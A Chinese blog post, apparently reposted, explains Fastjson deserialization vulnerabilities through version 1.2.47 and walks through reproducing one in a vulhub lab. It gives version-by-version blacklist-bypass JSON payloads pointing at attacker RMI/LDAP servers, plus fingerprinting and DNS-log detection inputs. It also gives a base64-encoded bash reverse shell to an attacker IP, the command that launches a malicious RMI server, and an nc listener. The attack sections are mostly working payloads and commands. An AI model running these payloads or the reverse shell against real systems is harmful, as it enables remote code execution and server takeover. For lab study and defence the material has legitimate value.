fastjson漏洞 - Fastjson1.2.47反序列化漏洞

Posted 渗透测试小白

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了fastjson漏洞 - Fastjson1.2.47反序列化漏洞相关的知识,希望对你有一定的参考价值。

文章目录

Fastjson简介

Fastjson 是阿里巴巴公司开源的一款 JSON 解析器,它可以解析 JSON 格式的字符串,Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 Java Bean 。

历史漏洞

Fastjson <=1.2.24 反序列化远程命令执行漏洞
Fastjson <=1.2.41 反序列化远程命令执行漏洞
Fastjson <=1.2.42 反序列化远程命令执行漏洞
Fastjson <=1.2.43 反序列化远程命令执行漏洞
Fastjson <=1.2.45 反序列化远程命令执行漏洞
Fastjson <=1.2.47 反序列化远程命令执行漏洞
Fastjson <=1.2.62 反序列化远程命令执行漏洞
Fastjson <=1.2.66 反序列化远程命令执行漏洞

Fastjson < 1.2.41

第一个Fastjson反序列化漏洞爆出后,阿里在1.2.25版本设置了 autoTypeSupport 属性默认为false,并且增加了 checkAutoType() 函数,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的Fastjson反序列化漏洞都是针对黑名单绕过来实现攻击利用的目的的。

com.sun.rowset.jdbcRowSetlmpl在1.2.25版本被加入了黑名单,fastjson有个判断条件判断类名是否以"L"开头、以";"结尾,是的话就提取出其中的类名在加载进来

那么就可以构造如下exp

"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"rmi://ip:9999/rce_1_2_24_exploit", "autoCommit":true

Fastjson < 1.2.42

阿里在发现这个绕过漏洞之后做出了类名如果为L开头,;结尾的时候就先去掉L和;进行黑名单检验的方法,但是没有考虑到双写或多写的情况,也就是说这种方法只能防御一组L和;,构造exp如下,即双写L和;

"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://x.x.x.x:9999/exp", "autoCommit":true

Fastjson < 1.2.47

在1.2.47版本及以下的情况下,loadClass中默认cache为true,首先使用 java.lang.Class 把获取到的类缓存到 mapping 中,然后直接从缓存中获取到了 com.sun.rowset.jdbcRowSetlmpl 这个类,即可绕过黑名单

 "a":  "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" ,
"b":  "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName":
"rmi://ip:9999/exp", "autoCommit": true 

Fastjson < 1.2.66

基于黑名单绕过, autoTypeSupport 属性为true才能使用,在1.2.25版本之后 autoTypeSupport 默认为false

"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://ip:1389/Calc"
"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://ip:1389/Calc"
"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://ip:1389/Calc"

漏洞发现

Fastjson寻找

Fastjson的作用是用于对JSON格式的数据进行解析和打包,所以出现json格式的地方 就有可能使用了Fastjson,通过burp抓包Content-Type是否为application/json,如果是则大概率使用了fastjson

Fastjson报错识别


  "name":"1"

使用burp suite抓包 - 发送到 Repeater - 在Request模块右键选择"Change request method"(更改http请求)- 将Content-type的属性改为application/json ,通过构建错误的json格式,Response返回信息中会有fastjson的信息泄露

也可以使用如下json爆出fastjson的版本信息

[

  "a":"a\\x] "@type":"java.lang.AutoCloseable"a

漏洞检测

原理:java.net.InetAddress这个类在实例化时会尝试做对example.com做域名解析,这时候可以通过dnslog的方式得知漏洞是否存在


   "name:   
     "@type":"java.net.InetAddress", "val":"vbaahm8fqzypvpitqmsvarcngem4at.burpcollaborator.net"
   

可以看到DNS对该域名进行解析,可以判断fastjson漏洞的存在。

漏洞复现

Fastjson1.2.47反序列化漏洞

影响版本

Fastjson1.2.47以及之前的版本

实验环境

docker搭建使用vulhub靶场

docker-compose up -d

访问靶场地址即可搭建成功

JNDI

JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。

可以访问以下命名/目录服务:
RMI (JAVA远程方法调用)
LDAP (轻量级目录访问协议)
CORBA (公共对象请求代理体系结构)
DNS (域名服务)

JNDI注入 + RMI

RMI是Java远程方法调用,是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口,它使客户机上运行的程序可以调用远程服务器上的对象。

JNDI注入 + RMI 利用

下载利用工具

JNDI服务利用工具,fastjson&log4j

反弹shell

将bash -i >& /dev/tcp/攻击机ip/6666 0>&1进行base64编码

bash -i >& /dev/tcp/192.168.88.128/9999 0>&1

bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC85OTk5IDA+JjE=|base64,-d|bash,-i

java -cp jndi_tool.jar jndi.HRMIServer 192.168.88.128 8888 "bash -c
echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC85OTk5IDA+JjE=|base64,-d|bash,-i"

反弹shell的命令,需要将其进行编码,管道符、输入输出重定向,只有在bash环境下才能用。而在这里,我们使用的是java为我们提供的命令执行环境,不支持管道符、输入输出重定向等。因此需要bash64编码一下。

利用工具启动RMI server

java -cp jndi_tool.jar jndi.HRMIServer 192.168.88.128 8888 “要执行的命令”

java -cp jndi_tool.jar jndi.HRMIServer 192.168.88.128 8888  "bash -c
echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC85OTk5IDA+JjE=|base64,-d|bash,-i"

新打开窗口监听端口

nc -lnvp 9999

构造pyload进行攻击


   "a":
       "@type":"java.lang.Class",
       "val":"com.sun.rowset.JdbcRowSetImpl"
   ,
   "b":
       "@type":"com.sun.rowset.JdbcRowSetImpl",
       "dataSourceName":"rmi://攻击机ip:8888/Object",
       "autoCommit":true
   

返回监听端口,反弹shell成功

FastJson反序列化漏洞(实验文章)

Json数据格式

JSON是一种轻量级的数据交换格式,全称:JavaScript 对象表示法(JavaScript Object Notation)

类比XML,你可以把JSON看作是一种存储数据的格式类型,一种数据规范。描述JSON格式数据的语法只是采用了JS对象字面量的表示方法,它独立于语言存在,只是在不同的编程语言中对这种数据类型的实现不同。

参考文章:JSON与JS的联系

FastJson类库

Json的三个类库

Java处理JSON数据有三个比较流行的类库,用于互相转换 Java 对象和 Json 数据。

类库说明
Gsongoogle维护
Jackson-
Fastjson阿里巴巴开源项目,得到广泛应用

其中 Fastjson 是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

使用 FastJson 类库转换数据格式,使用到的 2 个函数如下。

函数说明
JSONString()把 Java 对象转换成 Json 数据
parseObject()把 Json 转换成 Java 对象

下载Jar压缩包

在eclipse JavaEE平台下,访问 项目地址,下载最新版 Jar 包得到 Fastjson-1.2.53.jar ,然后把 Jar 压缩包导入 Eclipse 工程。开发时即可使用 FastJson 类及其函数等。

Autotype功能

FastJson 的 Autotype 功能存在漏洞,该功能可以反序列化的时候人为指定精心设计的类,达成远程命令执行。

1.开发环境的部署和访问

查看 项目Wiki,在 IDEA 中使用 Maven 项目进行 FastJson 测试。配置 Maven 项目,参考 IntellIJ IDEA 配置 Maven 以及 修改 默认 Repository

FastJson的基本使用(执行反序列化操作)

使用测试类熟悉 FastJson的基本使用 和 2 个互转函数:JSONObject.toJSONString()JSONObject.parseObject(),主要代码如下,文件代码见文末

JSONObject.toJSONString(person1);
JSONObject.toJSONString(person2, SerializerFeature.WriteClassName);
JSONObject.parseObject(str1);

Autotype功能:允许用户在序列化数据中通过 @type 指定反序列化的 Class 类型。

  • 具有特性:反序列化过程中会触发 get、set 函数

反序列化函数:

  • JSONObject.parse()会识别并调用目标 class 的 set 类函数
  • JSONObject.parseObject()会触发构造函数、get类函数、set类函数
  • parseObject()函数其实也是调用了 parse 函数

对比如下 PHP 反序列化漏洞的利用条件,此处目前只是执行反序列化操作。

  1. 对输入的序列数据执行反序列化操作
  2. 有跳板函数

参考视频:《JAVA WEB安全攻防技术培训 fastjson反序列化1》

FastJson漏洞概况

2017年Fastjson远程命令执行漏洞

  • 公布时间:2017-03-15
  • 涉及类库版本:Fastjson小于1.2.24的所有版本
  • Poc适用版本:Fastjson-1.2.22到1.2.24区间
  • 修复版本:大于1.2.25

2019年Fastjson远程命令执行漏洞

  • 公布时间:2018年发现漏洞,2019年公布
  • 涉及类库版本:FastJSON 1.2.48以下版本

参考:fastjson复现

漏洞检测(Fastjson scan)

在云服务器上安装 docker 和 vulhub,使用 vulhub 的两个版本漏洞进行测试。

FastJson 1.2.24 RCE 靶场(成功检测):访问页面返回 Json 数据。
使用 Fastjson scan插件,需要以Post方式传入非空数据才会执行扫描,否则显示 not supported。扫描用时100秒左右,成功检测 vul 。

FastJson 1.2.47 RCE 靶场(成功检测):扫描用时 128 秒。

能用就行。但有一点不好的是,每次重启 bp 都要重新加载插件。

参考:一款检测Fastjson反序列化的burp插件

漏洞复现

漏洞原理简述

涉及知识储备:Jndi注入 。Jndi注入的利用方式如下,先去补充 JNDI 注入的知识。

  1. 基于rmi
  2. 基于ldap
  3. 基于BeanFactory

参考:fastjson漏洞复现浅谈Fastjson RCE漏洞的绕过史Java_JSON反序列化之殇_看雪安全开发者峰会.pdf

FastJson基本使用代码

使用测试类熟悉 FastJson的基本使用 和 2 个互转函数的文件代码

import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class FastJsonTest 
    public static void main(String[] args)
        Person person1 = new Person();
        person1.setName("pump");
        person1.setAge(18);

        String str1 = JSONObject.toJSONString(person1);
        System.out.println(str1);

        Person person2 = new Person();
        person1.setName("watermelon");
        person1.setAge(2);

        String str2 = JSONObject.toJSONString(person2, SerializerFeature.WriteClassName);
        System.out.println(str2);
        // 把Json Str转换成Object的代码在视频里
    


public class Person 

    private String name;
    private Integer age;

    public String getName() 
        return name;
    

    public void setName(String name) 
        this.name = name;
    

    public Integer getAge() 
        return age;
    

    public void setAge(Integer age) 
        this.age = age;
    

FastJson 1.2.24 Rce复现图



参考

以上是关于fastjson漏洞 - Fastjson1.2.47反序列化漏洞的主要内容,如果未能解决你的问题,请参考以下文章

从0开始fastjson漏洞分析3

13-java安全——fastjson1.2.24反序列化TemplatesImpl利用链分析

13-java安全——fastjson1.2.24反序列化TemplatesImpl利用链分析

13-java安全——fastjson1.2.24反序列化TemplatesImpl利用链分析

13-java安全——fastjson1.2.24反序列化TemplatesImpl利用链分析

[Vulhub] fastjson 1.2.24 RCE && 1.2.47 RCE